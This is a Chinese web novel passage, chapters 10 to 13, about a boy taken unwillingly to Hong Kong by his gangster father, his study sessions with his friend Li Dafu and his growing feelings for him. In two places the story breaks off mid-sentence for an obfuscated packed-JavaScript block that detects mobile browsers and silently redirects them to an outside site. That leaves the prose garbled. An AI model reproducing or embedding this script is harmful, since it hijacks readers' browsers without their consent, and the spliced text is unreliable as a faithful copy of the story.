“你怎么进步这么大?!十道题对了六道,不错嘛。”江收惊叹道。 “你成绩很好?”江扩皱眉。 “还行,全班第二。”江收更自豪了。 “有空不去多学习,搞什么江字派老大老二的。”江扩冷哼一声。 “老豆说读书都是没用的,要跟他一样做个有用的人。”江收一脸无所谓。 “听那冚家铲的话你就等死吧。”江扩冷笑。 江收趴在旁边看江扩做题,半个小时不停歇。 “你是找了补习老师?还是参加补习班了?”江收在旁边啧啧称奇。 江扩抿抿嘴没有回答。他的进步可以说全靠黎老师的免费补习。一个会教,一个会学,俩人合在一起就是一默契组合。 只是黎大福到现在都还没有教江扩理科,所以江扩的理科功课还是空着的。 终于熬到黑魔仙跟中二病两个离开。江扩复习累了,推开门走到江广荣身边。 “咩事?”江广荣点燃刚刚没抽完的雪茄,“想看基片直讲。” “痴线,”江扩白了江广荣一眼,“今天那小孩,你会怎么处理他吗?” “不会,”江广荣徐徐呼出一口烟,“我说了,我不会随随便便杀人,当然也不会干涉你交朋友的权利;作为一个合格的父亲,我会给你足够的自由。” 江扩一听就火大。 “如果你真的给我的自由,就不会违背我的意愿把我强行绑来香港这个鬼地方受苦!”江扩怒道,“江广荣我扑领母,你以为你很伟大?放屁!如果你真的为我考虑,就不该把我弄来香港,这才是给我自由!” 江扩发现自从来香港到现在,他最喜欢的就是往江广荣身上撒气。冲其他人发脾气根本没办法让自己心情好点,但冲江广荣发脾气只会觉得爽翻了。 “说够了吗?”江广荣又吹出一口烟,“再冲你爸发脾气,我可能会收回我的话,明天我会让你重新变回一个朋友都没有。” 江扩倏地闭了嘴,一双眼睛几乎想瞪穿他爸的那张嚣张的脸。 “我错了。”江扩压下火示弱,“你别动他。” “他跟你什么关系?”江广荣眯眼,“你这么护着他,不会真是喜欢他吧?” “不是。”江扩咬牙。 想到接下来还有事求助他爸,江扩勉强把火压下,甚至试着佯装出一副笑脸。 “借我点钱行吗?”江扩问。 “父子俩说什么借?”江广荣叹了口气,“说吧,想干什么。” “我想上补习班。”江扩说。 江广荣挑了挑眉。 如果儿子借钱是想干坏事,江广荣还能感叹儿子真不愧是他亲生的。但儿子居然是想拿钱上补习班,这种正当的要求。江广荣莫名有些不满。 “读那么多书干什么?”江广荣看不起好好读书的良民,对着江扩的脸嗤了一声。 “我以后会把所有钱分文不差还给你,你放心。”江扩冷冷道。 江广荣最后还是心软,取了三千元港币给江扩。 江扩拿着那几千元港币,在笔记上记了数。 将来有一天他会通过他自己的努力离开香港这个鬼地方。在这之前,他会把江广荣给他的所有钱一分不差还回去。毕竟他也不清楚他爸这些钱是哪来的,究竟是干净的还是黑心钱。 隔天江扩去上学,终于有几节课不需要被罚站。 只有几节理科的课堂,江扩还是因为没做功课被老师叫去外面举牌子罚站。几个喽啰也是不交功课的惯犯,跟江扩一起被赶出去。 出教室前,江扩带上自己的课本和笔记,站到前门最近的地方透过窗户听老师讲课。 那几个小喽啰也没敢再烦他。 在外面站了一半,班主任徐徐从走廊走过来。见大哥荣的儿子居然在门外罚站,班主任差点双腿软了。 “江扩,你过来。”班主任挤出一个微笑。 “老师。”江扩抱着几本笔记走到班主任旁边,吓得班主任往后退了几步。 “怎么了?”江扩皱眉。 “没有,”班主任咽了一下紧张的口水,“我就是过来跟你说,你这两天挺认真学习的,罚站就免了,回班房上课吧,功课记得交就行。” 江扩用自己刚学的标准白话给老师道了声谢,在班主任惊讶的目光下进了教室。 这学生看得出来其实还挺乖的。这更让她想不通,恶名昭著的大哥荣怎么会养出这么乖的一个儿子。 化学课上江扩的功课又没有交。化学老头看不起这个土土的大陆仔,又阴阳怪气一番让江扩出去罚站。 这次有班主任的特许,江扩对着化学老头的脸嘁了一声,顺便翻了个大白眼,把头埋的更深了,认认真真在笔记本上记实验笔记。 化学老头见这大陆仔如此忤逆,差点在讲台上气晕过去。 放学时,江扩背着书包出了学校门口,黎大福拖着自己的新自行车刚到。 “大哥!”黎大福冲江扩喊道。 江扩吹了声口哨,悠悠走过去。 “新自行车,怎么来的?”江扩轻轻拍了几下黎大福的新车头。 “嘿嘿,自己刚买的,”黎大福笑道,“昨天好不容易找我爸妈要到钱买的,最便宜的单车了。” “你买车干什么?”江扩问。 “有单车就能陪你回家啊,”黎大福说,“大哥,以后我一直都会陪你回家。” 黎大福的话跟小蚂蚁似的钻进江扩里,弄得他双耳发痒。江扩心里又是莫名一阵悸动,紧接着又是一阵无形的恐惧袭来。 “我要去找补习班了。”江扩压下扑过去紧抱黎大福猛亲的念头,面无表情道。 黎大福听完,脸色瞬间黯淡下来。 “不需要我,补习了?”黎大福小心翼翼又喉咙颤抖问道。 江扩没有回答,牵着单车在黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721990|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大福前面慢慢骑着。 黎大福跟在后面骑车,不久后江扩身后传来几声委屈的呜咽。这小哭包又使了必杀技,哭声让江扩措手不及。 江扩突然间觉得自己有点混蛋。 “你哭什么?”江扩咬着下唇,也没敢回过头去看他。 “大哥,你真的不需要我了吗?”黎大福哽咽道。 “我只是去补数学,谁说不需要你了,黎老师?”江扩绞尽脑汁终于想出一个挽回的好办法。 “那必须好啊!”黎大福用一只手擦干净脸上乱七八糟的泪痕,“大哥,你吓死我了。” 江扩哑然失笑。 回了江广荣的老巢,江扩大摇大摆带着黎大福穿过狭窄无比又乌烟瘴气的客厅,进了房间。 “荣哥,他是谁?”几个跟屁虫指着黎大福的背影问江广荣。 “无关紧要的人,不用理。”江广荣悠悠道。 回到房间,江扩又把小窗的缝隙开到最大。黎大福拿出今天补习的内容,开始给江扩补习。 江广荣悄悄走到江扩房间门口偷听内容,心想着能揪出黎大福和江扩有什么非同一般的关系。在门口愣是站了十五分钟,也没有听出什么有用的信息。 直到黎大福起身离开,江广荣才装作若无其事坐回沙发抽烟。 江扩写完功课,跂着拖鞋出来放松。 “晚上跟你妈和妹妹去茶餐厅吃饭。”江广荣叼着烟对江扩说。 “别乱说,她不是我妈,”江扩打了个哈欠,“我不去。” “必须去。”江广荣说。 “不去,我有事,没空陪你们玩过家家,”江扩说,“我要复习期中考,还要去找补习班。” “你是不是还接受不了有个后妈和妹妹?”江广荣皱眉。 “是,”江扩冷眼看着江广荣,“也接受不了亲爹出轨,就连自己原来的妻子病死也没想过回去看一眼。” 江广荣顿时无言以对,用不知道是无奈还是不耐烦的眼神瞪着江扩。 两人在客厅无言对瞪了能有十来分钟,黑魔仙终于带着自己的中二病女儿到了老巢。江扩听见两人的声响,一声冷哼抛下几人下了楼。 “一份肠粉,唔该。”江扩用黎大福教的白话口语内容灵活应用,终于跟肠粉老板交流频道搭上了。 老板刚把肠粉端到桌上,江扩抬头又看见江广荣一家三口从楼梯钻出来,上了江广荣的小轿车。江扩虽然对这种乌烟瘴气的家庭嗤之以鼻,但心里还是莫名有些不是滋味。 黑魔仙从皮包里摸出一包KENT香烟来抽。拿打火机点烟的时候,正好和肠粉店里江扩的目光碰上了。紧接着江扩很明显看到黑魔仙撅起那两片紫色的香肠嘴朝他翻了个大白眼。 核突报警! 江扩埋头一声干呕,霎时间胃口全无。 对着江广荣那辆车离开的背影,江扩越来越为自己那位一直对丈夫抱有无限希望的早逝母亲感到不值。 吃完晚饭还早,湾仔街头亮起一盏又一盏的霓虹灯,颇有港味。江扩开始在街边找补习机构的广告。 最后在学校附近,江扩终于找到一家看起来还算正规的补习机构。为了能跟黎老师相处久点又不让黎老师太累,江扩最后只选了几门理科。 补习机构的王牌学科是英文,据说英文老师是港大英文翻译硕士毕业,还帮助过千千万万的苦逼香港中学生在大学考试拿得A+——简介是这样说的。 江扩坐在前台听工作人员吹嘘这个英文老师将近半个钟头,差点就动了心。 但说实话,他还挺想继续让黎老师给他上英文课的。 想起黎大福那口标准又软糯的英文,还有念英文时认真的模样和微微撅起的粉嫩小嘴,江扩又悄悄咽了一下口水。 回家路上,江扩还是频频想起黎大福的脸。此刻他不得不承认,自己好像有点喜欢黎大福了。 11. 第 11 章 黑魔仙跟江收依旧在晚上固定时间过来吵闹。江扩的房间锁不了门,每次都被江收强行闯入,然后坐在江扩面前大肆吹嘘她的江字派。 江扩不知道自己怎么能忍这个中二病这么久,大概是因为自己的脾气还算不错。只是期中考如果成了最后班里一名,下个星期被罚扫操场加举牌子站在操场中央示众的人就是他了。 为了不让自己成为最后一名,江扩决定花点钱请师傅给自己的房间安上锁,避开那个中二病好好复习。 放学时,黎大福跟往常一样倚在自己的新自行车旁边等他出来。 “大哥!”黎大福见江扩从学校大门出来,很快激动地朝江扩这边挥手。 “那个天天在这里等你的小朋友,是谁啊?”许添佑问。 “朋友。”江扩刚在教室听完化学老头阴阳怪气的讽刺,心里正烦闷。见到黎大福的下一秒,闷气瞬间消散了。 不知道是不是错觉,这小夯货最近身高似乎一直在飙升,现在应该过一米七了。就连白皙颈部上的喉结都愈发明显。 “你最近有去量身高吗?怎么长这么快。”江扩手痒揉了一下黎大福的头发。 “没有啊。”黎大福吸了吸鼻子,声音有点塞。 “你感冒了?”江扩皱眉。 “有点,昨天晚上没被子。 ”黎大福又吸了吸鼻子。 “你这个名字都大富大贵,怎么会感冒?”江扩一番调侃罢,“走,去药店买点感冒药。” “好嘞。”黎大福骑上车,跟江扩并肩骑着。 “为什么不盖被子?”江扩问。 “被我爸妈赶出来了,在门口过夜呢。”黎大福若无其事道。 “为什么赶你出来?”江扩回头看了一眼黎大福,一时有些心疼。 “琐事。”黎大福说。 黎大福是一点都不想跟江扩提起自己那对天天做发财梦的父母,尤其是最近父母频频提起的移|民美国。 昨天晚上又因为做美国佬一事跟父母大吵一架,还被赶出门口。以前黎多财在家的时候,至少还能帮忙开一下门。但最近黎多财经常夜不归宿,昨天晚上也在时代广场附近的酒吧混了一夜。 黎大福原本想坐车去找江扩,怕江扩已经睡了才没有去。 学校附近就有一家药店,两人拐了个弯进了一条暗巷,很快到了那家药店。 下了车,黎大福趴在车头上打了几声连环喷嚏。 “你没事吧?”江扩问。 “没事......阿嚏!”黎大福打完喷嚏,顺便仰头一声哀嚎。 江扩叹了口气,抬手把黎大福轻轻推进药店里。前台刚好有个二十多岁的年轻男人在买安全套。这人长得不算丑,但两根眉毛几乎要挑到天上去,嘴里叼着根烟,浑身吊儿郎当,让人一看就觉得不是什么好货。 黎大福盯着这人的后背,脸色一点点阴沉下来。江扩还在找药柜上摆着的感冒药,丝毫没有觉察出黎大福的异样。 黎大福压住怒火,朝那男人一步步走去。 “买安全套啊?”黎大福俯身观察那盒包装,发出一声冷笑,“奥莎,还是香橙味的......给谁用的?” 那男人本想骂几句,抬眸见是前女友的弟弟,脸上的笑容瞬间僵住了。他分手时屈了穷鬼前女友几千元的港币,不心虚才怪。 “黎大福!”江扩吓了一跳。这小夯货难不成感了个冒胆子变大了,而且还疯了。 “关你咩事?”那男人冲黎大福没好气地道。 “把我姐的钱还回来。”黎大福正色道。 “不还,”那男人梗起脖子一脸理直气壮,“那是她自己衰,她贱格,她自己要给我的,给了就是我的!” 他娘的不要脸! 江扩猜到事情的七七八八,正准备上去帮黎大福要回那些钱。这时黎大福突然出手,以迅雷不及掩耳之势揪住他姐前男友的衣领往药柜上抡过去。 随着那男人一声惨叫,一堆大大小小的药从柜子里散落,弄得一地狼藉,柜子也慢慢倾斜,压在那男人身上。 “毋打啊!毋打啊!”药店老板眼睁睁看着自己的药柜被踢倒,一声哀嚎从后面钻出来劝架。 “黎大福!”江扩从后面环住黎大福的身子,硬生生把黎大福制住了。 “哦!”男人从地上爬起来,对着这两人恍然大悟,“之前就听黎多财讲过她弟弟很有可能是个基佬,现在看来情况属实啊。” 黎大福脸都青了。 “你有病吗?”黎大福气得喉咙颤抖。 江扩见黎大福又快失去理智,手环得更紧了。 “痴线啊,要打出去打,别在我药店里打架!”药店老板吼道,“再打我叫差人来了!” 黎大福这才稍微回过神来。想起是在别人的药店里,怒火才压下些许。 “不打了。”黎大福垂头看着江扩环在他腰上的手。 江扩松开黎大福的腰。那男人见自己终于摆脱险境,拍了拍身上的灰骂骂咧咧往门口走去。 “等等。”江扩喊住门口的男人。 “做咩啊?仲想打啊?”那男人转过身梗着脖子问。 “钱,还回来,”江扩朝那男人走过去,“现在是在药店外面了,如果你不还钱,我跟他也可以在这揍你一顿,然后把你弄进差馆,到时候就麻烦了。” 黎大福趴在门框上,又打了几个连环喷嚏。 那男人抬眸跟江扩对瞪。江扩不甘示弱,尽量用最穷凶极恶的眼神跟那男人对瞪了整整一分多钟。 最后男人见自己斗不过这两个学生仔,气焰终于降下来,垂头从裤袋里掏出几张皱皱的港币,撒在地上。 “我就这么多钱了,一千,爱怎么着怎么着吧。”那人梗着脖子说。 “我刚看到还有。”黎大福说。 男人气急败坏从裤袋又摸出几张皱巴巴的现金掷在江扩脸上,“两千,够了吧?” “不够。”黎大福走过来道。 男人一脸绝望看着面前这两人,最后从裤袋又掏了几张皱巴巴的港币出来。合起来总共有三千多。 “够了,”黎大福把钱捡起来数了数,“给你抹了个零,滚吧。” 男人忙不迭的滚了。 黎大福把钱弄齐,塞进自己的书包里。 “喂,你们把我的药店弄成这样,说怎么算吧。”老板在后面喊道。 江扩叹了口气,“把他店收拾好。” 两人在老板的死盯下进了药店,蹲在地上一通收拾,半晌才把药柜和药摆好。 老板靠在旁边,对这两个热血冲动的中学生叹了口气。 “有没有感冒药买?”江扩站起身问。 “有,咩症状啊?”老板说。 “嗯,”黎大福靠在药柜旁想了一下,“鼻塞,流鼻水,有点头晕,没了。” “外加冲动打人,”老板调侃罢,在药柜拿了盒感冒口服液,“没那么严重,吃这个就好;还有啊,下次再随便打人,我要叫差人来了。” 黎大福蛮不好意思地挠了挠后脑勺。 离开的时候,江扩见门口有台量身高的,吹了声口哨把黎大福拉过去。 “站上去看看。”江扩说。 黎大福把药袋塞给江扩,自己站了上去量了一下。穿上鞋还有一米七四。 “高了很多啊。”江扩点头。 江扩此刻竟然觉得隐隐有些自豪,大概是因为黎大福身高的飙升给了他一种“是我看着你长大”的错觉。 “大哥,你试试。”黎大福从称上下来,笑眯眯对江扩说。 江扩把药袋塞给黎大福,自己站上称。穿上鞋一米七八,比黎大福高了一点。 “怎么这么快?”江扩难以置信。 “我马上快高过你了。”黎大福一脸自豪。 “你就想吧。”江扩嗤了一声,上了自行车。 骑了几步路,回头的时候江扩见黎大福还在拿纸巾擦鼻水,干脆停下来等他。 “刚刚那人是你姐的前男友?”江扩问。 上次黎大福他姐在街头暴打男友时,江扩见过那个挨揍的男人,不是刚刚药店里头那个。 “我姐交过很多个,这个就是上次骗她钱的,”黎大福说,“他俩吵架吵到我家里去了,俩人还差点把家拆了。所以我对这个男人印象很深。” “你姐真是厉害。”江扩找不到任何词来形容黎大福他姐,只好随口一夸。 经过一家门锁店,江扩在门口停下。黎大福见状也跟着停下来。 “大哥你干啥?”黎大福问。 “请师傅安锁,”江扩放好自行车进了店门,“上次大哥荣把我房间的门锁拆了,这次我要把锁装上。” “怕什么,我们俩在房间又没有做什么见不得人的事......”黎大福说罢又猛地闭上嘴,红着脸瞥了江扩一眼。 江扩就那样杵在那里什么对没说,一副欲言又止的样子跟黎大福对视良久。这小夯货就连害羞的样子都那么可爱,江扩悄悄咽了一下口水。 直到看够这小夯货害羞的样子,江扩才迈开腿踏进锁店。 黎大福靠在自行车旁边等江扩出来,顺便拿了车篮里的口服液,插了一瓶小口小口吮吸起来。 “师傅,能帮忙装锁吗?”江扩朝里面忙活的店老板问道。 黎大福在外边感慨他这位大哥才上不到几天课,就能用自己学到的白话磕磕巴巴跟本地人聊天了 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“理科我没给你补,不太清楚怎么样,总之能填的都要填,选择题千万别空着,”黎大福问,“大哥,真不要我给你补理科?我可是全能的。” “不了,那样你太累。”江扩托着腮对黎大福说。 “好吧,那接下来再上会儿英文。”黎大福低头把英文书拿出来。 黎大福读的是贵族学校,辅导书和江扩的都不一样,只好一边看着江扩做题,一边同步讲解。 两人沉迷学习没多久,师傅就把锁安好了。 “锁安好了,给钱吧。”师傅站起来说。 “几钱啊?”江扩放下笔问。 “五百。”师傅往嘴里叼了根烟。 “不能在房里抽烟。”江扩往兜里掏钱,一边皱眉道。 “你那客厅烟味都那么大了,再加一根没多大影响。” 老板若无其事徐徐吹出一口烟。 江扩从鼻里窜出一声不耐烦的叹息,把兜里所有钱掏出来数了数。 “死了!”江扩嘴角一抽搐。 钱包里只有三百多港币,还包含明天的伙食费。 “怎么了?”黎大福凑过去问。 “我只有三百,”江扩抬头说,“要不先给这么多,剩下的欠着我慢慢还。” “没这种事。”老板白了江扩一眼。 “我还有一百。”黎大福从书包拿出一百港币。 “算了,四百就四百吧。”师傅抢过钱匆匆下了楼。 到楼梯口送走安锁师傅之后,江扩才回到书桌坐下。 “钱我下次还你。”江扩说。 “不用了,”黎大福笑嘻嘻说,“就当交大哥保护费吧。” “钱我要还,不要拿我跟这种东西沾上边儿。”江扩冷冷道。他恨透那些玩意儿,包括他的流氓亲爹。 黎大福走后,江扩站在门口欣赏自己的新锁片刻才锁上门,重新坐到书桌旁认真复习。 晚上吃完饭,江收这个中二病又从客厅过来准备直接撞开门闯进来,撞了几次门都安然无恙。这时她才发现门上了锁。 “哥!”江收在外面敲门。 “老子说多少遍了不是你哥。”江扩朝门外不耐烦道。 “哥,让我进去!”江收喊。 里面没有声音。 “哥!我要进去,我要跟你讲一下最近我立的大功!”江收又喊。 “哥!我......” “他妈的还能不能让我好好复习了?”江口扔下笔吼道。 “江扩,你什么时候安的锁?”外面又出现江广荣的声音。 “你这个儿子都孤僻咯,”黑魔仙在客厅沙发阴阳怪气,“天天把自己锁里面,还以为我们谁虐待他了呢。” “江扩,开门!”江广荣在外面撞门,“别以为安了锁我就不知道你跟那个朋友在里面干什么!” “有病吗?”江扩朝门那边一声咆哮,“再打扰我复习我他妈谁都不认,直接偷|渡回去!” 门外又砰砰乱响好一阵子,才逐渐安静下来。江扩听得出来原先是父女俩在外面吼,后来江收吼累了,回她妈那儿去了。剩下江广荣一人在外面撞门,撞久了也不知道是觉得累了还是没趣了,也骂骂咧咧返回客厅休息。 江扩对着一页题对答案,发现竟然有百分之八十的正确率。 在这种心乱如麻的环境下,自己居然做得出题。江扩感慨应该是自己悟性还挺高,外加有名师指导,才会在短时间内取得如此大的进步。 按这样下去,摆脱流氓父亲的控制回到大陆的梦想,指日可待! 12. 第 12 章 终于熬到考试那天。黎大福的学校和江扩的学校是同一天考试,走的时候黎大福特意嘱咐要江扩这次等他。 考理科的时候,江扩对着整张卷无从下手。 自己只在补习机构那上了两节课,大部分题都没见过。最后只好听黎老师的建议,尽量让自己不交空白卷。 几科理科的卷交上去之后,江扩感觉整个人都虚脱了。 “喂,老乡,”许添佑从前桌凑过来,“你考试有把握吗?” “没。”江扩实话实讲。 “国文考试还有历史考试,到时候那个监考老师比较傻,我们可以试试出猫。”许添佑从桌肚里掏出几本教材对江扩示意。 “不出。”江扩说。 他还想做个遵纪守法的好公民。 “随便你,到时候要是被罚了,你可别后悔。”许添佑嗤了一声,转回自己的课桌。 到了国文考试,课室门口进来一个许添佑说过的“傻老师”。带着黑框眼镜的傻老师拿着一叠试卷,走下来一张一张分发给班里同学。 江扩接到试卷,在试卷上写下自己的繁体名字。监考老师也刚好分完试卷,坐到讲台上傻傻发愣。 低头检查完一遍试卷,江扩发现有很多黎大福讲过的,还有一些是自己复习到的,心里暗暗高兴。 虽然自己不清楚班里其他同学的水平怎么样,但接下来这些科目应该能给自己拉上去很多分,前面的理科成绩也没什么影响了。 毕竟这次考试他要求也不高,能避免成为班里最后一名接受最高级体罚就好了。 老师发愣久了,捂着嘴巴打了个呵欠,接著竟然在众目睽睽之下开始打瞌睡。前面的许添佑见监考老师开始犯困,偷偷给自己比了个“耶”。 下一秒,监考老师他直接下巴抵在讲台上睡死过去。 江扩抬头的时候,正好撞见许添佑把国文书放在膝盖上在翻其中一页,右手的笔在试卷上同步沙沙沙地抄答案。这就是“出猫”,国语直接称之为作弊。 江扩见许添佑摘答案如此迅速,不知不觉也动了出猫的念头。 而这个念头,又在训导主任从课室经过时被及时掐灭了。 长了一圈胡子的女训导主任抱着一叠书经过的时候,恰巧从窗户口瞥见一边出猫一边沾沾自喜的许添佑。吼声差点把整个教室所有人的耳朵震聋,包括讲台上熟睡的监考老师。 许添佑倒抽一口冷气,迅速把书塞回桌肚。监考老师猛地坐直,一头雾水盯着课室外的训导主任。 “喂!你!”训导老师冲许添佑吼道,“说的就是你,出来!” 全班同学的目光聚集在这位出猫的同学身上。许添佑垂着头在众目睽睽下起身走出课室。 江扩抬眸看了许添佑一眼,继续埋头苦战。训导主任揪着许添佑的一边耳朵,骂骂咧咧一齐回了办公室。 幸好自己把持住了,否则现在被叫去办公室的肯定不止一个人。 直到最后一门课考试结束,许添佑才灰头土脸回了课室。这时失职的监考老师又被叫去办公室,估计也是凶多吉少。 “怎么样?”江扩收拾好书包,问前桌的许添佑。 “成绩全取消了,还要请家长。这次最后一名肯定是我,下周要扫操场了,”许添佑仰起头哀嚎一声,转而又安慰自己,“算了,成绩不好到时候跟着我爸妈卖鱼蛋就好了,反正我家生意都不错。” 江扩摇头没再接话,匆匆背上书包离开课室。他还得去学校门口等晚到的黎大福。 出了校门口,江扩本想坐到门口的阶梯旁边等黎大福。十五分钟过去了,黎大福还没出现。 这小夯货怎么今天这么晚,难不成是遇上什么麻烦了。干脆走到电话亭拨了小夯货的电话号码。 “喂?”黎大福在那边问道。 “怎么那么晚?”江扩问。 “大哥,你再等等,有事儿呢。”黎大福说,“你再等个三十分钟,我弄完马上过去。” “什么事?”江扩皱眉。 没等江扩问完,那边挂了。 江扩放回话筒,思考片刻后骑上自行车,径直朝黎大福的贵族学校骑过去。 贵族学校的门口人群聚集,江扩环视一周没有黎大福的身影,倒是在书店旁边看见一个熟悉的假小子身影。 中二病! 江收靠在书店的外墙抽烟,头上戴着一顶鸭舌帽,身上没有穿校服。 江扩为了避开中二病,选择躲到学校另一边的一爿小零食店,一边观察门口黎大福有没有出来。 等了大概十五分钟过去,黎大福终于鬼鬼祟祟从校门口出来,神色慌张像是遇到什么麻烦。 江扩松了口气,正想过去拖走黎大福。那边江收见黎大福出来,也扔下烟手揣裤兜里冲过来。 江扩皱眉,紧紧盯着江收鼓鼓的裤兜。 “黎大福!”江收口中清晰叫了一声黎大福的名字。 黎大福见江收过来,慌慌张张往后退了一步。 “走,走开。”黎大福支支吾吾道。 “不行,我江收是这附近有名的女老大,今天表白失败的事一定会传出去的,”江收眯眼,“黎大福,我要杀你灭口。” “我说了我就不喜欢你这样儿的。”黎大福一脸嫌弃。 “那你喜欢什么样的,我就变成什么样的,”江收从裤袋里掏出一个信封,“这是我写了一晚上的情书,我江收做为附近闻风丧胆的女老大可是第一次写情书,你不想看也必须看。” “不看。”黎大福摇头。 “不看我就一枪毙了你。”江收双手叉腰。 黎大福实在受不了这个班里常年前三名的中二病,只想快点打发走。两人对瞪许久后,黎大福接过信封,从里面取出一张情书。翻开捋平。 情书的字写得歪歪斜斜,时不时夹杂点毛毛虫似的英文。字体和内容过于诙谐,看得黎大福嗤嗤发笑。 要是他能收到江大哥的情书,那多是一件美事儿啊。 然而江扩见黎大福对那张情书笑成那副傻样,只觉得火大,而且万分不爽。如果不是考虑到江收毕竟是他同父异母的妹妹,估计这会儿他能冲过去暴揍那张情书的主人。 “看完了,还你。”黎大福读完情书心中毫无波澜,又把信封塞回江收怀里。 “怎么样,有没有被我打动到?”江收一脸期待。 “没有。”黎大福拼命摇头,“我不喜欢你这样的。” “那我就一枪毙了你,”江收又犯起中二病,“我江收混到现在,也有一批......你到底喜欢什么样的?” 江扩竖起耳朵一听。 “我,我,我,”黎大福支支吾吾后蹦出一句话,“我喜欢男的。” “咩啊?!”江扩失声大喊,又咻地捂住自己的嘴巴。 两人听见喊声不约而同朝声音的发源地看过来,没见到人。 “我还不像个男的吗?”江收追问。 “再怎么像你也是个女的。”黎大福不耐烦道。 “那我去变性好了吧。”江收说,“我江收混到现在,也已经有大批钱财,到时候去整容医院变性,再拿下整个香港的地盘,再来找你表白。” “痴线。”黎大福白了江收一眼,抛下她就要离开。 “黎大福。”江扩钻出来朝黎大福招手。 “大哥!”黎大福一脸兴奋牵着自行车朝江扩走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721992|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “哥?”江收眨眨眼。 “不是你哥。”江扩冷冷回答,骑上自行车跟黎大福并肩离开了学校。 江收在后面又疑惑地眨了几下眼。这俩人认识? 一路上江扩都在回味黎大福刚刚的话。 “你说有事情要处理,指的就是这个?”江扩回头看了黎大福一眼。 黎大福没有回答,只是挠了挠后脑勺自己傻笑一小会。 “你刚刚说的都是真的?”江扩试问,“你喜欢男的?” 黎大福突然莫名觉得有些慌。如果江大哥因为这件事疏远他,那他将会失去一个很重要的朋友。 虽然他不太想跟江扩做朋友,他更愿意让江扩做他的...... “黎大福。”江扩把稍微走神的黎大福拉回来。 “不是!”黎大福摇头,“我是骗她的。” “你到底喜不喜欢男的?”江扩逼问道。 “我不知道,我有点乱......”黎大福自己嘟囔一会,又抬头信誓旦旦道,“但是大哥你放心,我就算喜欢男的,也不会对你图谋不轨。” 江扩张了张嘴,半晌憋不出一句话。接下来也是一路沉默。 “大哥,你不会不理我了吧。”黎大福小心翼翼问道。 江扩轻轻摇头,偏过头看不清脸上表情。 “那就好。”黎大福松了口气,又问,“她刚刚为什么叫你哥?” 江扩咬着牙,不情不愿吐出两个字,“我妹。” 思考片刻又加上一句,“不是亲的,是继妹。” “啊?继妹?”黎大福感叹一声,“她是我们班里常年前三,但是脑子可能有点问题,天天嚷着要加入什么什么帮派,组织收保护费被老师抓过几次了。” 江扩冷哼一声,“中二病,我爸害的。” “那你怎么不会?”黎大福问。 “我?”江扩垂眸若有所思一阵,“我从出生到现在从没见过我爸,他对我的影响当然不大。” “那为什么又见到了?”黎大福又问。 “我是被江广荣绑过来的,”江扩说,“我入学比较晚,江广荣回去的时候刚好碰上我小学毕业,结果他没等我拍完毕业照就把我绑过来了,也不管我同不同意。” “那可是我第一次拍毕业照啊。”江扩哽咽道。 “大哥......”黎大福心疼了。 “我在老家过的不知道有多快活,村里的小伙伴跟我玩的很好,爷爷奶奶也很疼我,门口有棵油柑树,果子一成熟,我们都会摘下来吃,”江扩捂着自己的脸泣不成声,“现在我连爷爷奶奶是死是活都不知道!我想家,我真的想家了。” “大哥你别哭。”黎大福慌慌张张从书包掏出几张纸巾,抬手帮江扩轻轻拭去眼泪。 江扩用哭肿的眼睛去看黎大福的脸,又恰好跟他无辜又清澈的双眼对视。那双眼真是像极了老家的星空。 江扩心生悸动,抢过黎大福手中的纸巾别过头,“我自己擦。” 黎大福的手僵在空中,良久才缩回。 “大哥,其实香港没有那么坏,”黎大福说,“如果你好好体味一下香港的味道,说不定你会爱上香港呢。” “想让我爱香港?绝对不可能!”江扩冷冷道,“我现在做的一切,包括提高学习成绩,都是为了以后逃离香港做准备。我打死也不会爱上香港。” 一听江大哥以后要离开香港,黎大福的心里一阵空落落。 但这空落落没维持多久,又被心里萌生的一个激动人心的念头打消了。 黎大福下定决心,抬眸和江扩温柔对视: “大哥,以后我陪你一起离开香港吧。” 13. 第 13 章 成绩下来了,江扩的国文和历史得了B,英文C,其他都是D和E。虽然还在班里平均分下面,但国文历史英文也是很大的进步。 至少这次体罚,应该没有他的份了。 这次考试能取得这样的成绩,黎老师占一半以上的功劳。江扩决定拿出点钱,请黎大福吃一顿好的。 对于他来说,麦当劳已经算是最好的。主要是以前在老家,江扩也没吃过一次麦当劳。 老家唯一一家麦当劳在城区的城楼附近,离老厝还很远。江扩只见过一次,是在爷爷带他开三轮车拉货顺便经过的时候。 快入冬了,黎大福的校服正装已经换成长袖,短裤也换成长裤。想到要有很长一段时间见不到黎大福白皙曲线柔和的腿和膝盖,江扩有点失望。 而江扩终于也穿上学校分发的校服,比贵族学校的校服穷酸一点。但总体看着也还算不错。 黎大福这次考试取了第一名,终于把江收这个中二病踢在下面。放学后兴高采烈骑上自行车飙到江扩的学校门口,不久也等到神采奕奕的江扩出了校门。 “大哥,怎么样?”黎大福骑过去问。 “十八名,还行。”江扩回答。 “你们班有多少个人?”黎大福问。 “三十二人。”江扩说,“大哥请你吃麦当劳。” “好啊好啊!”黎大福笑眯眯道。 江扩又手痒,抬手轻轻揉了一下黎大福乱成鸡窝的发顶。很柔顺。 黎大福全程笑得合不拢嘴,屁颠屁颠跟在江扩身边。 到了附近的麦当劳,两人在点餐台点了份双人套餐,找了个靠窗角落的位子坐下。 “你呢,考了几名?”江扩问。 “第一,这次江收在第二名。”黎大福仰起头自豪回答道。 